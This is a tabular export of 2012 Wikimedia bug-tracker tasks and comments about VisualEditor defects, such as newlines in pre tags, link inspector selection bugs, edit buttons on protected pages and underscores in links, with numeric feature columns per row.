195152,VisualEditor: Leading newlines in <pre>s get eaten,"Parsoid fixes have landed, issue confirmed fixed in VE as well.",,,1354757611,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,1.0,"Parsoid fixes have landed, issue confirmed fixed in VE as well."
195146,VisualEditor: Leading newlines in <pre>s get eaten,The VE portion of this is fixed in https://gerrit.wikimedia.org/r/36692 . The Parsoid portion of this is bug 42666 and bug 42667.,,,1354584256,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,23.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.772727272727273,0.6818181818181818,The VE portion of this is fixed in GERRIT_URL . The Parsoid portion of this is bug 42666 and bug 42667.
195141,VisualEditor: Leading newlines in <pre>s get eaten,"The approach we're taking now is that VE will work around this in cases where there are semantically meaningful newlines in the <pre> (i.e. >=1 newline read from the DOM) by adding a newline. That only leaves the ambiguity between <pre>Foo</pre> and <pre>\nFoo</pre> , which is syntactic, not semantic, and will be handled by Parsoid using round-trip data.",,,1354566475,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,1.0,1.0,6.0,3.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,1.0,1.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,9.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,5.0,8.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,4.0,0.0,0.0,14.0,3.883116883116883,0.7662337662337663,"The approach we're taking now is that VE will work around this in cases where there are semantically meaningful newlines in the <pre> (i.e. >=1 newline read from the DOM) by adding a newline. That only leaves the ambiguity between <pre>Foo</pre> and <pre>\nFoo</pre> , which is syntactic, not semantic, and will be handled by Parsoid using round-trip data."
195136,VisualEditor: Leading newlines in <pre>s get eaten,"(In reply to comment #1)
> We can work around this in the converter by setting a flag on these pre's on
> the way in and checking for it on the way out.
...or not, grah. Because of the way the DOM API works, I have no way of detecting this from within a browser.",,,1354563233,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,18.0,2.0,2.0,12.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,18.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.025,0.8,"(In reply to comment #1)
QUOTE
QUOTE
...or not, grah. Because of the way the DOM API works, I have no way of detecting this from within a browser."
195130,VisualEditor: Leading newlines in <pre>s get eaten,"Mark and I looked at this and discovered it was because VE round-trips the HTML in question through the browser's HTML parser, which turns ""<pre>\n"" into ""<pre>"". Shockingly, this is actually mandated by the HTML spec.

We can work around this in the converter by setting a flag on these pre's on the way in and checking for it on the way out.",,,1354155689,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,2.0,10.0,1.0,4.0,15.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,19.0,4.0,0.0,5.0,0.0,5.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,5.0,3.525,0.6625,"Mark and I looked at this and discovered it was because VE round-trips the HTML in question through the browser's HTML parser, which turns ""<pre>\n"" into ""<pre>"". Shockingly, this is actually mandated by the HTML spec.

We can work around this in the converter by setting a flag on these pre's on the way in and checking for it on the way out."
44278,"VisualEditor: After clicking out of link inspector, pressing enter removes wrong text","1. Type the text ""Foo bar baz""
2. Select ""bar""
3. Click the link toolbar button
4. Click between the a and the z (""ba|z"") to cause the inspector to close
5. Press enter

Expected result: paragraph is split with ""z"" in a new paragraph
Actual result: ""bar"" is removed, paragraph is split with ""baz"" in a new paragraph

Occurs in both Firefox and Chrome. Isn't reproducible 100% of the time.

Theory:
1. User changes selection to ba|z
2. SurfaceObserver notices and adjusts its selection
3. Link inspector notices and triggers annotation on a fragment with a different range (the link)
4. Some bug in SurfaceObserver or SurfaceFragment causes SO to believe the current selection is now the link
5. User presses enter, SO removes what it believes is the selection

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1353378540,1353971697.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ca4ckkjl6hs65faqueyf,task_description,resolved,True,c1,0,False,False,True,-32,,0.5,0.0,0.0,1.5,0.5,4.0,1.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,2.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,7.0,3.0,12.0,0.0,2.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,4.0,0.0,1.0,7.0,4.0,0.0,6.0,0.0,1.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,1.5,3.6266749123891984,0.5789012574726861,"1. Type the text ""Foo bar baz""
2. Select ""bar""
3. Click the link toolbar button
4. Click between the a and the z (""ba|z"") to cause the inspector to close
5. Press enter

Expected result: paragraph is split with ""z"" in a new paragraph
Actual result: ""bar"" is removed, paragraph is split with ""baz"" in a new paragraph

Occurs in both Firefox and Chrome. Isn't reproducible 100% of the time.

Theory:
1. User changes selection to ba|z
2. SurfaceObserver notices and adjusts its selection
3. Link inspector notices and triggers annotation on a fragment with a different range (the link)
4. Some bug in SurfaceObserver or SurfaceFragment causes SO to believe the current selection is now the link
5. User presses enter, SO removes what it believes is the selection

--------------------------
**Version**: unspecified
**Severity**: normal"
183445,"VisualEditor: After clicking out of link inspector, pressing enter removes wrong text",Fixed in recent inspector rewrite: I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3,,,1353971697,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-ca4ckkjl6hs65faqueyf,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.777777777777779,1.0,Fixed in recent inspector rewrite: I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3
44276,VisualEditor: Zero-length selection in link should show inspector icon,"This currently works for selections within links, but not for zero-length selections. Except if you hit bug 42275, then the inspector icon will appear on every zero-length selection, anywhere, and will chase you forever and ever.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1353376860,1353971278.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-uv4cfp2ue45fk333wtws,task_description,resolved,True,c1,0,False,False,True,-32,,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15625,0.671875,"This currently works for selections within links, but not for zero-length selections. Except if you hit bug 42275, then the inspector icon will appear on every zero-length selection, anywhere, and will chase you forever and ever.

--------------------------
**Version**: unspecified
**Severity**: normal"
183359,VisualEditor: Zero-length selection in link should show inspector icon,Fixed in I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3,,,1353971560,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-uv4cfp2ue45fk333wtws,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.4,1.0,Fixed in I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3
183356,VisualEditor: Zero-length selection in link should show inspector icon,This was resolved in the recent inspector rewrite.,,,1353971278,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-uv4cfp2ue45fk333wtws,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,This was resolved in the recent inspector rewrite.
183351,VisualEditor: Zero-length selection in link should show inspector icon,"This bug seems to only be triggered by newly created links, not by links that were already present on the page.",,,1353379521,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-uv4cfp2ue45fk333wtws,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,9.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.9130434782608695,"This bug seems to only be triggered by newly created links, not by links that were already present on the page."
44142,VisualEditor: Don't offer Edit button when user cannot edit page,"The VisualEditor interface does not currently recognize page protection. If a user visits a protected page (a page to which he or she does not have access to edit), VisualEditor will still display a working edit form and the first click of the ""Save page"" button will work. It will produce a dialog box that will present a second ""Save page"" button that does not work. Ideally, VisualEditor would not let a user get this far without indicating that the page is uneditable.

Related to this, there's no warning for administrators that a page is protected when they're editing the page. This may be a separate bug, however.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1352958960,1354131981.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,0.5,2.5,4.0,1.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,6.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,2.5,0.0,5.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.0,0.0,0.5,0.5,1.0,1.5,13.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,1.0,0.0,8.0,2.0,7.5,2.5,1.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,5.5,2.5,0.0,2.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,4.048325722983257,0.6552511415525114,"The VisualEditor interface does not currently recognize page protection. If a user visits a protected page (a page to which he or she does not have access to edit), VisualEditor will still display a working edit form and the first click of the ""Save page"" button will work. It will produce a dialog box that will present a second ""Save page"" button that does not work. Ideally, VisualEditor would not let a user get this far without indicating that the page is uneditable.

Related to this, there's no warning for administrators that a page is protected when they're editing the page. This may be a separate bug, however.

--------------------------
**Version**: unspecified
**Severity**: normal"
200768,VisualEditor: Don't offer Edit button when user cannot edit page,"Yeah, well, different ""protection"" levels for VE and non-VE editors feels like the wrong kind of solution.",,,1354127087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.875,"Yeah, well, different ""protection"" levels for VE and non-VE editors feels like the wrong kind of solution."
200763,VisualEditor: Don't offer Edit button when user cannot edit page,"That's not a problem I guess, but I noticed while implementing it that it was a matter of removing the code that explicitly ignored the presence of the edit button for sysops.

Change-Id: I3fe29c52b743837c2e1d66f25ccdca6115b8bd25",,,1354126324,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,12.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,15.0,5.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,5.0,0.0,0.0,0.0,10.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,4.804878048780488,0.8292682926829268,"That's not a problem I guess, but I noticed while implementing it that it was a matter of removing the code that explicitly ignored the presence of the edit button for sysops.

Change-Id: I3fe29c52b743837c2e1d66f25ccdca6115b8bd25"
200756,VisualEditor: Don't offer Edit button when user cannot edit page,"If we do that it means we can no longer pseudo-restrict ""Edit source"" on a different level than ""VisualEditor Edit"".

e.g. on MediaWiki.org we protected the namespace with sysop, but allowed users to edit it with VE.",,,1354067377,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,13.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,15.0,13.0,0.0,9.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.851063829787234,0.7872340425531915,"If we do that it means we can no longer pseudo-restrict ""Edit source"" on a different level than ""VisualEditor Edit"".

e.g. on MediaWiki.org we protected the namespace with sysop, but allowed users to edit it with VE."
200748,VisualEditor: Don't offer Edit button when user cannot edit page,"I suppose the lazy solution (use the presence of a button outputted by server side) is sufficient, especially given that if someone games it, saving will still fail. Its only for the UI.",,,1354054378,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-31,,0.0,3.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,8.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,13.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.948717948717949,0.8974358974358975,"I suppose the lazy solution (use the presence of a button outputted by server side) is sufficient, especially given that if someone games it, saving will still fail. Its only for the UI."
200739,VisualEditor: Don't offer Edit button when user cannot edit page,"And for the current page, I suppose wgRestrictionEdit and wgUserGroups could be used.",,,1353124274,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.866666666666666,1.0,"And for the current page, I suppose wgRestrictionEdit and wgUserGroups could be used."
200731,VisualEditor: Don't offer Edit button when user cannot edit page,We have mw.user.getRights()[async] now in core as well.,,,1353124198,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,10.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,We have mw.user.getRights()[async] now in core as well.
200723,VisualEditor: Don't offer Edit button when user cannot edit page,We should be able to detect in JS whether the user has the edit permission for this page. One way we can detect this is by checking whether the user gets an edit tab or a view source tab.,,,1353115536,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,24.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,7.0,5.0,2.0,17.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,15.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.6341463414634148,0.7804878048780488,We should be able to detect in JS whether the user has the edit permission for this page. One way we can detect this is by checking whether the user gets an edit tab or a view source tab.
44140,VisualEditor: Internal page links touched by VisualEditor contain underscores,"Currently when a user uses the link dialog box tool thing in VisualEditor to specify where certain text should link to, if the user specifies an internal page as the target, the wikitext for the link will use underscores.

For example, I highlight some text in VisualEditor with my mouse and then click the link icon. A ""Hyperlink"" dialog box appears and I enter ""MediaWiki on IRC"" into the text input area. I hit the ""return"" key on my keyboard to make the dialog box disappear and now I have a blue link in my VisualEditor interface. If I then save this page and look at its wikitext source, I see:

[[MediaWiki_on_IRC|fffffffff]]

Internal links are using underscores. This is wrong.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49310",Medium,50.0,1352957940,1353380505.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-wydq63k4j2l2fgeenwfb,task_description,resolved,True,c1,0,False,False,True,-33,,0.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,3.5,8.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,1.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,20.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,13.0,2.0,2.0,8.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.5,8.5,4.5,0.0,3.0,0.0,5.5,0.0,1.0,2.0,0.0,0.5,0.0,0.0,1.5,3.8313953488372094,0.6744186046511628,"Currently when a user uses the link dialog box tool thing in VisualEditor to specify where certain text should link to, if the user specifies an internal page as the target, the wikitext for the link will use underscores.

For example, I highlight some text in VisualEditor with my mouse and then click the link icon. A ""Hyperlink"" dialog box appears and I enter ""MediaWiki on IRC"" into the text input area. I hit the ""return"" key on my keyboard to make the dialog box disappear and now I have a blue link in my VisualEditor interface. If I then save this page and look at its wikitext source, I see:

[[MediaWiki_on_IRC|fffffffff]]

Internal links are using underscores. This is wrong.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
200647,VisualEditor: Internal page links touched by VisualEditor contain underscores,"This was an issue in VE's internal link handling code, not in Parsoid. Although the original reason for the code working the way it did (normalizing to underscores) was indeed to make Parsoid happy, as I found out the hard way when I tried to fix this by just normalizing to spaces instead.

Fixed in https://gerrit.wikimedia.org/r/34253",,,1353380505,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wydq63k4j2l2fgeenwfb,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,19.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.0,14.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,19.0,6.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,4.015625,0.75,"This was an issue in VE's internal link handling code, not in Parsoid. Although the original reason for the code working the way it did (normalizing to underscores) was indeed to make Parsoid happy, as I found out the hard way when I tried to fix this by just normalizing to spaces instead.

Fixed in GERRIT_URL"
